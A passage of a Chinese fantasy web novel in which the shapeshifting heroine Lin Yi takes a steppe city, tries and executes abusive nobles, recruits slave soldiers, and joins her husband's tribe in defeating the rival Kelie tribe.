洛阳月旦评,本只评点世家之中出彩人物,是世家为族人入仕而造势,所以通常及冠才能入评。托狂热追求者的面子,昔年王澈入评时只有十七岁,且被评的是“月下公子,青阳晚夜”,很有画面感的评价:春季的夜晚,月下的公子。无关才华品行,纯粹是以氛围感暗夸他姿容,一度叫不少贵女神往。 世族一贯的套路嘛,未及冠的子弟以姿容传名,编造一些美貌的事迹流传,及冠的族人传扬其品行善举,做官的就要“养望”,养出威望,有名才能有望,有了名望,世族才能长盛不衰。王澈那时还只能算是个半成品,他没到传扬品行或者养望的年纪,美名却传得过盛了。 可月下的美公子,又为什么不能是熟知兵事的军师呢? 杨裳不喜欢小瞧任何人,但在那位苏赫部的可敦没有具体姓氏流传出来的时候,他暂时认为苏赫部的改变是由王澈引导的,可惜妻子和这位族弟并不熟络,只能知道他的一些过往事迹。 毕竟有了新可敦是近一年的事情,王澈离开魏朝前往雪域可是有足足五六年的时间了啊!就是一头猪,这么长的时间也把猪圈熏出味了……吧? 雪域北部,公主城的四面城门大开,大萨满和他的十几名萨满学徒恭恭敬敬出城献俘,亲迎大军入城。 林一一反常态戴着甲盔骑马入城,身后不远,王澈再次坐上了他的轮椅小车,脖子被用羊骨制的脖圈固定住了,还用了一块丝绸稍微遮掩。他的扭伤有一点严重,林一其实一直怀疑是和他总不活动有关系,这年头二十几岁的青年人身子骨差成这样是很少见的。 在公主城不能停留太久,林一不能复刻辽东的安抚策略,只能连夜开大会做决定,这种缺德会议就不能叫其他人参与了,拢共就三个人,林一和她的卧龙凤雏(阴间版)。 崔殊先道:“简单点吧,先挑个叶护出来,安抚住城中的权贵势力,回来慢慢收拾也行,最重要的是解除城中兵力。” 王澈想了想,说道:“从城中雪域贵族里挑叶护,我不认可,可以留下秃发千骑,他的性格很合适,但是不可让他久留,人一旦有了权势地位,很难维持住先前的想法。” 两人有商有量,但林一开口道:“我想要收编一万左右的塔塔尔青壮,带回苏赫部,我路上再和他们谈谈。” 这话一出口,王澈和崔殊都惊了惊,但很快反应过来,王澈先道:“携带一万人,就要携带更多的辎重,短时间反而无法回援。” “分批走,叶撒带五千苏赫骑兵先回,剩下的人分三批次携带辎重前往苏赫部,我已经定好了路线,我会把三批人都带到。”林一很自信地说:“塔塔尔叶护的事,我有一个主意……” 次日,韩小六一脸懵逼地被推到了大萨满面前。 林一凑近满头鸟羽的老头,很认真地道:“塔塔尔人很信任你,但我不信,为了取信我,也为了活得更久,你知道应该怎么办。” 大萨满一双白眼睛看着林一,沉默片刻,点了点头,腰杆一下子弯了,“我知道应该怎么做,这位……这位小兄弟乃是天赐的将星,塔塔尔只有跟随他才能靠近真主,愿所有人都能走向盛世,不再有寒冷和饥饿。” 林一满意地拍了拍老头的肩膀,“你很会说话嘛,另外我有一些计划,也要你配合,你得做一个出征祭祀,会吧?” 老者一贯严肃的脸上,慢慢露出一个谄媚的笑容。 和苏赫部不同,塔塔尔人很信萨满,大萨满是如今雪域很少见的那种男性萨满,不同于许多大病一场后宣称自己得到神恩的萨满,这位名为忽列的老人是真的濒死还生。 他本是一位骑射出众的千骑长,在四十岁时忽然盲了双眼,被部落丢弃在有狼群出没的荒原。十几天后,他的儿子把他背负回来下葬,他身上有多处撕咬伤,也不见呼吸。足足五日停尸,未进水米。下葬那天,亲友齐聚,他忽然睁开了眼睛,坐立起身,称自己觉醒了前世宿慧,报出了塔塔尔部几百年前一位传奇女性大萨满的名字,对她的事迹信口拈来。 之后的二十几年,他给人预言,也给人畜看病,明明眼睛瞎了,但走路几乎不摔,不看眼睛和个正常人差不多。后来他送走了比自己小十几岁的儿子,白发人送黑发人,又娶了一房妻子,但一直没有孩子。忽列说是因为自己死过了一次,沾了冥河的水,再也没有创造新生命的能力……总之,他的种种事迹都很神奇,很令塔塔尔人崇拜敬畏。 事不宜迟,真的不宜迟,几乎就在拿下公主城的第二日,林一就从塔塔尔常备骑兵中挑选了一些骑兵前行编入队伍里,又紧急抓了一批平时就作恶颇多的雪域贵族。剩下的实在是没时间清洗,只能交给韩小六代理。 第三日清晨,大萨满开金坛祭祀,以阿勒坦赤那的尸骨和上百名雪域老牌贵族的人头为祭,开启了雪域的新时代。 白眼睛的老者穿上了由无数鸟羽编制而成的祭祀大礼服,发编五彩鸟羽,脚踏熊皮靴,一把年纪了仍旧脚步平稳,绕坛祭祀。事先准备好的高台之上,他说话引动共鸣,虽然不如林一那种纯粹的嗓门大,但韵律奇异,能传到大部分人耳朵里。 “雪域历六千七百七十三年,自我先祖,卷旗离乡,北至荒原,世世代代,茹毛饮血。今启真主,来此一隅,凡我子孙,齐心勠力。此去天茫地远,唯星月同在,敬请上苍饮我一盏酒,庇我儿郎返家园。” 大萨满割指滴血入金坛,舀起一樽血酒撒向碧空。 塔塔尔骑兵都红了眼眶,骑在马上齐齐握拳锤向肩头,头一低,再抬起头时,每个人都仿佛身上多了一层天赐的光辉,看起来精气神都足了不少。也有黑石部落的人偷偷行礼,没办法,中小部落从没见过这样由大萨满主持的宏大祭祀,实在太激动了。 至于苏赫骑兵……嗨呀!快上路了,把鞋子翻开来看看里面夹了砂石没有吧。 不管怎么说,林一是很满意大萨满老头的,能装!会装!去萨满化肯定得搞,在这之前拿这个提升士气是真的有效,不然人家雪域几年前下来搞这一套是为了过家家嘛。 林一也撒了一樽血酒,朝大气层玩笑似的拱了拱手,流光溢彩的圆瞳直直看向天际。 若有神灵,不要庇护我。 第76章 公主城的资源丰足得难以想象,大军出发的粮草备得很快,也有足够的车马骆驼驴骡来拉辎重。 送走第一批返程的五千骑兵,剩下的依次是明后两天出发,正好也能错开行军路线,保证水源干净,否则万人以上的大军走到哪里就会把河流祸害得很浑浊,需要一两天沉淀才会恢复清澈,人吃浑水会拉肚子,这是林一近来总结出的带兵经验。 总之送走第一批,林一就去验收战利品。她也不把那些黄金彩宝珍玩放在眼里,不当吃不当喝的东西,比较新奇的是,她在右贤王的宝库里发现了风氏瓷。正版的风氏瓷,不是自家部落风氏两支脉盗版的瓷器,还是两套,一套紫彩流光,一套湛蓝金纹,怪不得能卖很多钱。 这些东西可以等大战结束后,看看能不能卖给魏人,林一把库房搜了一遍,抱出两卷厚实的纯黑丝绸料,准备给自家几个男人做身衣裳。 满足了个人私欲后,伟大的鸟大王纡尊降贵开始带萌新。 韩小六一脸懵逼坐在公主城、啊现在叫北都了,坐在北宫、现在叫北都卫府的大座上,他只能侧开身子坐。因为林一是正坐在大座上的,说是正坐也不准确,她两只大长腿外斜八字,胳膊向外拐得很开,两只手向内侧反着按住大腿,肘尖几乎抵在韩小六胸口上,总之是个非常占座又霸道的姿势。 韩小六其实不想和林一挤在大座上的,实在很奇怪,但是林一考虑到她离开后,韩小六至少在这里待一年半载的,不能影响他的威望。现在坐了小板凳,等她离开,北都这些塔塔尔人就能让他一直坐小板凳。 反正韩小六是没感觉林一在给他面子的,一个看起来也不怎么胖的人,她为什么能这么占座啊! 大萨满让人带上一男一女两名雪域贵族,是一对夫妻模样,被带上来时还在争辩着什么,林一直接开口道:“查哈儿,萨丽,有十几户人家联名举报你们打杀平民,虐杀奴隶,时间比较短,我查证出来的就有七八个了,你们没有什么要说的话,等会儿出去选个死法。” 吸取了上次在辽东的教训,这次林一准备了绞刑、斧刑和水刑三种死法,都是比较体面的。绞刑不见血,斧刑避免了行刑者手法不到家,第一刀砍不死还得进行第二三刀的窘迫场面,水刑就是淹死,充分考虑到了待会儿观刑的普通人的接受能力。至于死前轮一遍酷刑之类的,她暂时还没有想过,感觉上比较残忍,林一来到这个世界后,心情一直很好的,不怎么想要看到太虐的东西。 查哈儿就是这对夫妻中的丈夫,查哈儿是他的名,他的姓氏翻译过来是流水之意,属于雪域老牌贵族了,祖上在大单于时代就当过小汗王。 到他这一代落魄了些,但不是他的家族落魄,而是整个塔塔尔部被打到偏安一隅,但到了这个地步,查哈儿依旧能够靠着祖辈荣光在公主城作威作福。 他的两个妹妹都嫁给了穆尔大汗为汗妃,他自己更是娶了十六个妻子,如今最宠爱的萨丽和他性格脾气最像。两人以虐待奴仆为乐,经常在家里组织亲友玩乐,开很热闹的篝火集会,他家的女奴也是消耗最快的。 查哈儿起初是惊愕,然后是哀求,最后成了大声咒骂,他的妻子萨丽则是全程柔弱哭泣,称她什么都没做,都是为了从残暴的丈夫手里活命。 林一反正是没听进去,等了一会儿,确信他们没有证据证明这些人不是他们杀死的,就挥了挥手,让人拖出去,等她审问完再一起宰掉。 第二批罪人被拉上来,也是个贵族,走进来时甚至身上还穿着丝绸的衣裳,佩戴着马鞭,昂着头对林一说:“我不否认杀人,但杀人有何罪?美丽的可敦,你手里就没有几条人命吗?我不虐待奴隶,也不曾杀死过女人,我为部落出战,就像苏赫阿那守护他的部民。” 韩小六的视线在这位塔塔尔贵族和林一之间来回游移,他感觉这个人好像是可以放过的。 林一瞅了这个年轻贵族一眼,翻了翻大萨满给的记录,点点头,“目前你没有杀过塔塔尔的平民,也没有杀奴的恶习,跟随阿勒坦赤那攻打小部落期间,有一些不好的事情,但你说这是为了部落作战,暂且忽略。不过你说你没有杀死过女人,这点不对吧?你的第一任妻子的家族昨晚向大萨满举报,说你母亲一直虐打他们的女儿,后来你埋葬了她,她那个时候是死是活?是死后埋葬还是活埋?” 年轻贵族一怔,他已经四婚,早就忘记了第一任妻子的模样,但他犹豫片刻,还是说道:“死了,我埋葬她的时候等了两天,我没有活埋她。” 林一咂嘴,仍旧是不怎么有礼貌的行为,伸手扣了扣大座扶手上的黄金雕刻,“行吧,你免死,把你母亲叫来。” 年轻贵族呆住,一直挺直的脊背弯了下来,犹豫着甚至下了跪,“求您饶恕她,婆母教训新妻是很寻常的事,当时只是失手……她已经六十多岁,无法活动,也说不出完整的话,再多的罪过也应该由天神审判她了,只要再有两三年……” 林一有点烦了,她今天可是要审十几个案子的,拍了拍黄金扶手,“你可以替她死的,胳膊还胳膊,大腿还大腿,人命还人命,这是我定的法案,除非特殊情况。” 年轻贵族一脸绝望,但最终还是没说出以命相代的话,人被拖了下去。 林一没想到特殊情况来得很快。 接下来是个新发生的案子,在林一大军入城的同时,一户人家的新妻五刀捅死了意图贩卖女儿做娼妓的赌鬼丈夫,本来想要伪装成被苏赫骑兵杀死,没想到大军入城并没有抢掠之类,反而很快被邻居察觉并上报了。 这案子交给韩小六来审,他有些慌张,问了案又很迟疑,转动脑袋,想要寻求林一意见,因为她之前说过人命还人命。 林一一巴掌拍在韩小六后脑勺上,“我是不是还说了除非特殊情况?” 交给军事ai来判案都不会判这妇人怎么样,没判个当庭无罪释放就已经够尊重这赌狗一条烂命了,什么榆木脑袋! 韩小六陆陆续续又断了几个案子,堪称冤狱制造机,罪犯好帮手。林一确定他是真没有做官的本事,行军布阵的时候脑子不是很机灵的吗?难道这个世界对聪明人是有分类的,文臣武将是有壁垒的?不应该啊!聪明人难道不应该是啥事都能干得来吗? 反正林一挺费解的,最可恨的是,因为韩小六搞不来做官这一套,林一不得不把崔殊留下来给他当副手了,这一趟塔塔尔之行终究是痛失缺德军师一名。 夜晚,塔塔尔宫殿前的广场上,点燃堆堆篝火,今日的死刑犯各就各位,林一没有照例即兴演讲一番,而是比较疲惫地伸手让人行刑。 累了,心累,早点送走吧。 和辽东的情况很不一样,现场气氛不算热闹,但人很多,非常多,林一怀疑几乎整个城,以及周边的小部落拖家带口都赶过来了,毕竟宣布行刑大会是早上大军出征后就宣布的,有时间从附近赶来观看,嗯,在塔塔尔,观看贵族死刑也许是件很隆重的事? 但是,没有欢呼雀跃,没有万众齐呼*,破衣烂衫的牧民们绝大部分都很沉默,盯着林一临时让人弄起来的简易绞刑架、砍头台和大水池,唯一有些动静的时刻就是死刑犯们被拖上行刑台时。 第一对查哈儿萨丽夫妻到死也不肯相信这是真的,查哈儿被拖上来时完全说不出话了,腿脚是软的,脑袋是下垂的,行刑手特意抓着他的头发提起来,让他露出脸。 因为两人都很懒没有选死法,林一好心地帮选了在她看来最体面的绞刑。绞刑一般可以套个头套麻袋什么的,但是出于验明正身的想法,没有套头,全程露出那两张全城熟悉的脸,视觉效果很狰狞。林一看了看人群,甚至看到一些被父母牵着手的幼童仰着头目不转睛。直到两人不再挣扎,双脚不动,牧民们很沉默地等待下一场。 下一场仍旧沉默,再下一场是比较激烈的斧刑,仍然是露脸直砍,没有什么遮掩,人头滚落时因为底下有个小坡度,直接滚入人群中,甚至都没什么人避让,反而有一些人围了上去,不知道要做啥。 十几批死刑犯陆陆续续行刑,连一开始很兴奋的行刑手都逐渐沉默,可能是干得累了。尤其还是在黑夜里,只靠着篝火照亮,挤在最前面的每一个人的脸上都有火光跳跃,再往后看不清脸的,像是黑夜里树木的阴影,沉默得叫人心悸。连一开始的几句惊呼都渐渐不见了,仿佛整个北都城,只剩下流水线一样的行刑现场还有活人。 林一都有点发毛了,要是鸟形,背羽都要蓬起来了,啊不是,气氛就一点都不热烈吗?这样弄得好像屠宰场啊。 第77章 塔塔尔人是沉默的,从单于王部到三大部落最弱者,塔塔尔的贵族仍然醉生梦死,穷奢极欲,平民却从未过上一天好日子,他们总是沉默如同羔羊,日复一日劳累,然后等待死亡。 人若被当成牲畜豢养,时间长了交流减少,也就真和沉默的牲畜一个样了,赶来观刑的很多人,其实身体比大脑先做出反应,是本能地想要来看,然后才慢慢回过神。行刑的场面不够血腥,也就一时之间很难让沉默的塔塔尔人反应过来,这是在对雪域贵族们实行死刑。 直到最后一个贵族老头被按进水池里,手脚逐渐停止挥动,篝火仍旧熊熊,林一有点窘迫地开口:“天很晚了,大家没什么事的话就回去吧,是不是都看得累了……哈哈!” 纯属没话找话,是在给自己找补找补,林一也没等待多久,遣散了大批人群之后就回去睡了。她明后两天要送走三批队伍,可不是送到城外的那种送,而是来回领队,她还准备路上给大家开开演讲,啊这个就不算工作范围了。 鸟大王一生挚爱站高台,恨不得天天什么事不干就对着大伙吹牛皮。 北都的军队解散也很快,大部分的平民骑兵都可以直接遣回圣湖本部,他们本就是被征来的青壮,塔塔尔部是不给骑兵发军饷之类补贴的,想要好东西就出去抢。圣湖部民之所以过得辛苦又劳累,就是因为家庭里缺少青壮劳力,这些人回到圣湖本部是心甘情愿的。 还有很大一部分贵族骑兵,有的如同魏朝世族部曲一样,是世世代代效忠某个家族的,有的是贵族分支,还有一些就厉害了,奴兵。 塔塔尔部里最多的就是白奴,是从圣湖再往北的万里荒原抓来的原始部族,皮肤白,眼睛颜色也怪,通常男女都高大,但未开化,甚至有的白奴部族是生食的,很好捕捉。 白奴被抓来之后,通常是用作劳役,女奴也要承担重劳役,还多了一项陪睡,在这样的情况下,塔塔尔部对这些白奴以及白奴混血很歧视的,只有真的勇士才可能跨越阶层成为骑兵,奴兵的数目一直不多,整个北都也就五百奴兵。 奴兵单独序列,首领为五百骑队长,林一睡了一觉爬起来,认了认人脸。这位五百骑队长棕黄长发草草打结打卷,眼睛冷淡低垂着,脸型轮廓分明,一身盔甲穿得破破烂烂,佩戴一把同样不知道从哪找来的大砍刀,脚下的羊皮靴子破了个洞眼,他用一块毛茸茸的皮给堵上了,看起来就很落魄的样子。 结果他的五百奴兵看起来更破烂,几乎没人有一套完整的装备,衣裳以毡衣为主,基本上看不出颜色了,血色和灰尘覆盖,整个奴军显得灰扑扑又肃杀。除此之外,前排还有两个残疾兵,一个瞎眼一个断手,断手的那个在手腕疤处套了个黑漆漆的铁钩子。 林一问道:“你叫什么名字?” 破破烂烂的五百骑队长干巴巴地说:“乌珠骨碌。” 是个听上去有点圆滚滚的名字,反正和这瘦长落魄的大高个是一点关系都没有。 林一伸手拍了拍乌珠骨碌的肩膀,“你们来时吃饭了吗?要是没吃就跟我去吃点,等天亮了有得忙活。” 乌珠骨碌点头又摇头,没等他解释,林一已经看明白了,吃过了但没吃饱,想跟着她去再吃点。这哪用得着客气,反正吃的是北都的存粮,林一只恨自己吃不下那么多,等三批军队上路,她还准备开仓放粮散给平民一些的。 早饭是奶渣汤配羊肉馅饼,崔殊把北都宫殿里的官员杀了一批留了一批,很多事情上手只需要一两天的,从前专供贵人的机构全力运转起来一点都不慢。五百奴兵都领了汤饼,很习惯地找了墙根靠坐下来,这样就有一面不受风吹了,热汤是要第一时间喝掉的,不然会冷,肉馅饼三两口吞下,这东西可留不住。 乌珠骨碌也蹲墙根喝汤吃饼,林一往他身旁坐,也不嫌弃他身上有味,问他,“来塔塔尔几年了?过得怎么样?老家那边还有人吗?” 看起来最多三十岁的青年奴兵队长两腮撑得鼓鼓,薄唇向外撅,一口汤顺下去,这才闷闷地回应:“七年……还行,家里没人了,都死了,塔塔尔部的奴兵都是这样。” 摧折掉所有的棱角,余生只剩下杀人,不必思考任何事情,这也是林一的曾经。 林一又拍了拍他的肩膀,“带着你的人,以后跟我干吧,给你们换把兵器,弄身好甲,天天吃肉,好伐?” 乌珠骨碌咬了一口羊肉饼,很痛快地点了点头。 当天这五百奴兵人人换甲,新兵刃到手,林一还专门让人给他们把乱糟糟的头发打理了一遍,虱子太多了,都在头皮上下虱卵了,最后没法子,全剃成了青茬光头,找熟手用剥皮小刀仔细铲掉虱子卵,又找大萨满配了药膏,五百个人对着抹头上。 次日,奴兵们被编入最后一批出发的骑兵里,按照乌珠的名字,就叫乌珠骑队。林一对这支骑队很上心,准备按照亲卫的水准来培养。 与此同时,第一批出发的五千骑兵正在逼近战场,苏赫阿那拖延了许久,决定不再错过战机,于夜晚发动突袭,大胜。先锋将军苏赫铎阵前擒住克烈二王子苏阿奇,白日谈判未果,拔都直接朝着苏阿奇射了一箭,虽然没中,但表明了他的态度,不会因为一个儿子有任何的让步。 此时临时大帐内,苏赫阿那和两位万骑长……也可能是三位吧,格桑也在,除了三位万骑长之外,苏赫三兄弟全都在,陆陆续续还有十来名千骑长也在,不在的那是因为在林一那边。 苏赫铎昨晚夜战打得很精神,这会儿仍旧意气风发,很急迫地说:“阿父,克烈部的实力太弱了,我昨天差一步就杀到拔都帐子里,不如今天晚上再来一次吧!这次肯定直接擒王了。” “不是让你去休息吗?”苏赫阿那拧眉,“你昨天中午说战备睡不着,夜战回来又叫你睡,你还是说不困,现在已经快入夜,你准备连熬两夜?连自己都照顾不好,我要如何才能放心让你来带兵?” 苏赫铎缩了缩脖子,可惜他的身板太大,这动作真是一点都不惹人怜惜。 苏赫忽律有点犹豫地开口说:“阿父……苏阿奇他、他没什么作用吧?拔都舅舅都已经朝他射箭了,假如是克烈部抓了我的话,肯定不会……” 他看了一眼苏赫铎,有些忌惮又有些怨恨,为什么要让他来面对血亲的生死呢? 苏赫阿那抬了抬手,“苏阿奇的事不必再说,克烈部若败,给他一些牛羊以后去放牧也罢,不必真要他性命。现在谈的是战事,阿铎你来说,连日相杀,你认为克烈部现在的实力如何?” 苏赫铎想说随便打,话到嘴边又回了回笼,犹豫着说:“还、还没有伤筋动骨?他们藏了点实力?” 叶利诃都觉得大王子实在是有些愚笨了,以前没看出来啊,他捣鼓捣鼓妻子,格桑会错意,接过话头说:“实力肯定是没有藏的,都打到现在了,但是有一点很奇怪,克烈部到现在还没有大量溃兵。” 苏赫阿那点头,“本部没有多少溃兵,是因为部族在后,亲眷在后方,克烈部伤损过半,至今没有出现大量溃兵,很有可能是我们最开始打得太过了,只针对新入联盟的部落,容易使得他们更加依附克烈部,更紧密地抱团,所以接下来我们应该适当……” 话音未落,外间传来喧闹声,不多时就有探子入帐,有些激动地行礼,“大汗!呼兰部落忽然从克烈后方杀出,呼兰族长一人一马横穿克烈大营!现在那边乱套了!” 苏赫阿那当即喝令:“整军列队,三军包抄,立刻随我出发,不要贻误战机,随后马上再细说。” 大帐中众人立刻向外走去,探子也骑上马,苏赫阿那一边指挥军阵一边听他详细介绍刚才的事。 事实上用不着解释了,苏赫大营这边到处都在说,而且已经有呼兰部落的骑兵来这边汇合,除了呼兰霍兰本人和他的亲卫没有来之外。 呼兰骑兵很有特色的,没人穿甲,都是黄白羊毛毡衣或者黑灰牦牛毡衣,手中的兵刃却都很新很锋利,生动形象地表明了什么叫好铁用在刀刃上,他们的马也都普遍高大肥壮,两个嗓门最大的呼兰勇士正在四处吹牛逼。 “我们霍兰啊,一把长刀从后营砍到前营,拔都的帐子都叫他砍烂了,三五百个亲卫没人能近身,要不是拔都跑得快,这趟能把他捉来!” “对对对!我们霍兰大哥是真的猛,他的刀砍到哪里,人头飞起八尺高!” “诶对了,霍兰大哥哪去了?他不是比我们来得更快吗?我们在他后头都来了啊?怎么不来见苏赫大汗呢?” “是不是族长有点傲啊,想叫大汗亲自接见他才来,嘿嘿!有骨气!” …… 苏赫大营之外,几个族老拉长了声音:“霍兰啊——” 呼兰霍兰抱紧了自己的等身大刀,又瘦了一些的脸庞已经逐渐显露出呼兰特色的俊颜,他低垂着一双眼,显得心虚而鬼祟,声音却宛转悠扬如同雪域少年的歌谣。 “这辈子,我不见他……” 第78章 这趟呼兰部落来的骑兵有四千多名,连快五十岁的老骑兵都有。 呼兰部落可以动员的人口不少,本身就不是所有呼兰青壮都会很快找到主家或者妻家,每年离开部落的青壮都有一到两三年的流浪期,召回,全部召回!接着是呼兰部落的留守人员,往往是一个家庭的长子到二三子,获得的资源最多,虽然是呼兰部落这么个穷部落的资源偏斜吧,但那也算偏斜。 临出发前,呼兰霍兰对部落的众人是这样说的:克烈必然自取灭亡,他要带着部落去干一票,没有失败的选项,大胜之后,占据克烈分部的草海,从此呼兰部落不需要赶走成年的青壮,可以在一个丰饶的地带逐水草而居,繁衍生息。 当然原话没有这么圆,他一向是个寡言的族长大哥,意思就这么个意思吧。 愿意出来干的呼兰骑兵占了大头,剩下的就不用多说,谁愿意守着一个破地方祖祖辈辈过活,雪域就那么几块能养活大量人口的地方,想要占下得看天时地利人和,现在机会摆在眼前,错过了又是穷几百年。 抱着这样心态的部落其实也有几家,所以路上看到呼兰骑兵,得知他们的目的后,参与进来的中小部落也被整编入军,就算争不到草海,克烈部占下的地盘又不少!苏赫大汗素来温厚,不会介意分润些的吧?雪域人也没那么多复杂心思,就是打算这趟叫青壮多流血,要是雪域人的心思深的话,拔都的联盟生意可做不了这么多年。 这一场反攻来得猝不及防,彼时拔都正在帐子里上药,呼兰霍兰一人一马砍进来的时候,正赶上克烈大营开会,死了一百多个人不说,连拔都都被砍伤了胳膊。老人家皮肉脆,当时昏过去了,醒来就一直阴着脸。 祝若嫣低眉顺眼地调药上药,这已经是换了第三遍药了,她的动作很小心,似乎很怕弄疼他。拔都再大的火气也没有朝着她发,阴沉着看向底下众多分部族长,斥道:“但凡你们能上点心,岂有被霍兰小贼追进帐子砍的份!大营青壮骑兵八万有余,呼兰部最多能带出来多少人?” 仍旧是科林族长,忍不住回嘴道:“大汗先前还说我们没有带兵的权力了,现在又说我们不上心,是我能去和霍兰打一架怎的?” 拔都气结。 和其他部落完全不同,呼兰部落崇尚勇士,族长的儿子不一定是下一代族长,他们是比武上位!需要一个青壮连续五年比武第一名,或者族长将死,召青壮打擂,守擂二十天者为胜。呼兰霍兰是三者皆备,他是上一代族长之子,从十七岁起年年比武第一,先族长狩猎遇难后,他开设擂台,成功守擂二十天,是毫无争议的族长人选。 整个雪域的部落之主坐一桌,能和呼兰霍兰打一架的真不多。 巴特铁木尔立刻就要去推搡科林族长,几个族长去拉架,拔都喝了几嗓子才把场面稳住,他胳膊上的伤口又开始流血了,老头眼前一阵阵发黑,就在这时,外间有号角呜呜,探子入帐刚要禀告,就听见柔美的女声惊呼:“大汗——” 巴特铁木尔本来在揪着科林族长的衣领子,回头顿时又惊又怒,又带着一丝不明的喜悦,当即高呼道:“来不及解释了,速速传令军中,由我暂代父汗权位,随我迎敌!” 大营里人心各异,有想凑过去巴结的,有恨不得直接跑路的,巴特铁木尔扣上头盔就往外走,还没走出帐子,就被力大势沉的一斧子砍得后退瘫坐在地。 苏赫铎第一个冲进来,他从来没感觉自己如此神勇过,虽然也有一部分原因是他跟着呼兰骑兵冲进来的,但细节并不重要! 他都没看清里面情况,身后一伙呼兰骑兵直接踏破大帐,把不少人压在了里面,帐子一倒,外面的情况更加清晰。苏赫骑兵人人袒露臂膀,远处的张弓搭箭,近处的持刀挥砍,哪怕有贵人丢下金银逃命,也没有能阻止骑兵的脚步。 克烈部这边,小部落的直接溃逃,克烈本部骑兵倒是骁勇,但独木难支,苏赫骑兵不仅有二十人一骑的最小单位,还被训练过三骑围攻,五骑分工等战法,再骁勇的壮士都扛不住。 苏赫铎扒拉开毡帐,用斧背敲在巴特铁木尔的后脑勺上,看人不动弹了,直接在马上就折身一捞,一看就知骑术精湛。把人捞上马后,放在以前他直接就带俘作战去了,但经历过林一的各种坑害手法,他很谨慎地把昏迷不醒的巴特铁木尔手脚捆绑起来,勒得他手腕青紫才放心,又看了一眼倒塌的大帐,开始四处搜寻拔都的下落。 虽然敌对,但苏赫铎一向认可拔都老儿的狡猾可怖,现在肯定不知道跑哪去了。 林一遣回来的五千骑兵也是趁夜色赶至,一来就上桌,袒露出臂膀跟着打了起来,此时天际一只巨鸟来回盘旋,盘旋,盘旋…… 巨鸟的脑袋歪着,翅膀扇动频率都低了,圆瞳看起来比平时睁得更圆乎了。 有一种……好像,不怎么需要她的感觉…… 林一很快摇晃了一下脑袋,很兴奋地俯冲而下,不管了,打吧打吧,做一只快乐战斗的大鸟! 雪域天亮得早,林一来时都有些灰蒙蒙亮了,她一加入战局,不知道怎么的好像时间在加速,明明也没啄几个人,就是很快有阳光破云层撒下,照亮满目疮痍的战场。 骑在马上的基本都是袒露臂膀的苏赫骑兵,林一来回找了找,看到苏赫阿那正在马上指挥清理战场,她加速扇动翅膀冲了过去。路上骑兵们纷纷侧目,虽然这么大一只鸟冲过来的样子很狰狞,但是认得出这是自家的鸟大王,所以林一一路畅通无阻到了苏赫阿那马前,拍打翅膀带起的风叫战马都忍不住后退。 林一张开翅膀拢住了苏赫阿那和他的马,让他呛了一口血灰。 中午,战场中心清理出一块空地来,架设大营并几个小帐子,首先是点算人数,自身的伤损和克烈部的死亡并俘虏数目等,这些从前其实都是大致算一下,但现在不同了。林一很快调来了庞家姐妹和那几家世族男女,这些原本要靠苏赫阿那一个人来做的活计很快被无良的鸟大王摊派下去。 林一有好多日子没见庞半天和庞杀两姐妹了,她一直记得两人是瘦弱柔美的少女模样,结果今天一看,几乎认不出了。 庞半天倒是还好,她身形轮廓摆在这里,只是黑胖了些……啊对是胖了,呼兰阙利六兄弟是非常标准的呼兰子弟,他们和雪域普遍的兄弟共妻行为有壁垒,是以伺候主家的态度做人丈夫的。 兄弟共妻往往是娶不起妻子,共娶一个女人回来,既要承担正常的劳作,又要负担几兄弟的欲望,往往这种共妻很显老态,是很可怜的。 苏赫部就很少有共妻,因为生活足够富足,起码对雪域人来说是富足的,庞半天就吃得相当好了,六兄弟会特意轮班出一两个人陪伴她。 她的工作需要出入牧民家庭,身边有个高壮的男人是很好的保护,而那方面的事不怎么好讲,只要知道呼兰子弟祖传有漂亮的手艺活,绝不过度索求,又能热闹快乐就行了。竖着耳朵听的都散了散了吧,不好讲的呀! 总之庞半天养胖了些,雪域人黑是常态,她现在看起来更像个雪域姑娘了。 庞杀看起来阴沉许多,黑了瘦了,连面相都变化很大,显得精明利落。她没有选择正常找个丈夫过日子,而是看谁顺眼就睡一睡,男色这方面不多说。她现在做事是一把好手,来了战场之后也不嫌血腥,带着几个护卫去扒拉死人堆,统计苏赫部落的战损。 大营里,林一恢复了人身,因为没带衣裳,用随身携带的黑丝绸把自己裹着,在翻找出来的黄金大座上嘎嘎打滚,苏赫阿那暂时没让人进来,解开身上的和着血污的外衣,林一很期待地看着。 战场来要来一发吗? 苏赫阿那把外衣放在一边,脱下里面的层衣给林一,然后又把外衣穿上了,林一很失望地换上衣服,是细麻的料子,穿起来反正比毡衣舒服得多。林一有好几身这样的衣裳,就是觉得出去穿浪费了,有时候化鸟化得急,衣裳就撕裂了,不过接下来,她大约有很长一段时间不需要急来急走了。 整个雪域,是她家的啦! 林一想到这里,又快乐地打起滚来,苏赫阿那笑了一声,“这绸料是从公主城得来的?你飞在天上时我就看见了,系在脖子上的。” “嘎……”林一应了应,伸手用黑色丝绸在苏赫阿那身上比划了几下,声音很低哑的,“还有几卷没有带,等全带来了,给你做里外两身衣裳,阿铎忽律一人一件披风,乌苏做个小褂,应该还有剩哦……” 放在魏朝世族、不,哪怕放在塔塔尔那些雪域贵族身上,都不会出现同色的料子父子几个一起穿,这是乱尊卑的事,是很不讲究的。 但苏赫阿那只是点头,嘴角微微上扬。 第79章 打扫战场用了几日,后续出发的三批骑兵也赶了回来,追击溃兵又用几日,总之等黑帐重新在大平原安置的时候,已经过去十来天。 拔都是在打扫战场时被打扫出来的,当时有一支骑队去叫了在附近的苏赫忽律,苏赫忽律一拍脑袋把人藏了起来,藏了约莫半个时辰左右吧,就被发现拔都的骑队举报了。 现在苏赫忽律蔫头耷脑和拔都住一个帐子,外面把守着人,里面也隔了一层铁栏杆,拔都从昏迷中醒来,面对的就是苏赫忽律一张忧愁的俊脸。 “咳……”拔都自己支起半个身子,打量四周,已经有了些许不好的想法,他沉着语气斟酌着问:“忽律,这是苏赫大营吗?巴特铁木尔在哪?” 按照拔都的预计,最好的情况是自己被俘,铁木尔带着克烈骑兵还在抵抗,最坏的他一时不敢多想。 苏赫忽律是第一次被这样严厉惩罚,而且足足被关了几日到现在。隔着铁栏杆,他抹了抹脸,假装自己没有哭过,闷闷地说:“拔都舅舅,铁木尔被苏赫铎俘虏了,不过你别担心,阿父之前说苏赫部赢了的话,会给二表兄一些牛羊去放牧,大表兄应该差不多吧?我想为你们求情来着,可是阿父不见我,还把我关在这里了。” 他说着,又感到一些委屈,坐在铺着狼皮褥子的小木床上,双手抱住膝盖,把头埋进去,很阴沉地说:“这次真叫那苏赫铎得意了,我带兵本就不如他,可是我又怎么下得去手,乌骨叔叔小时候还抱过我,也被……” 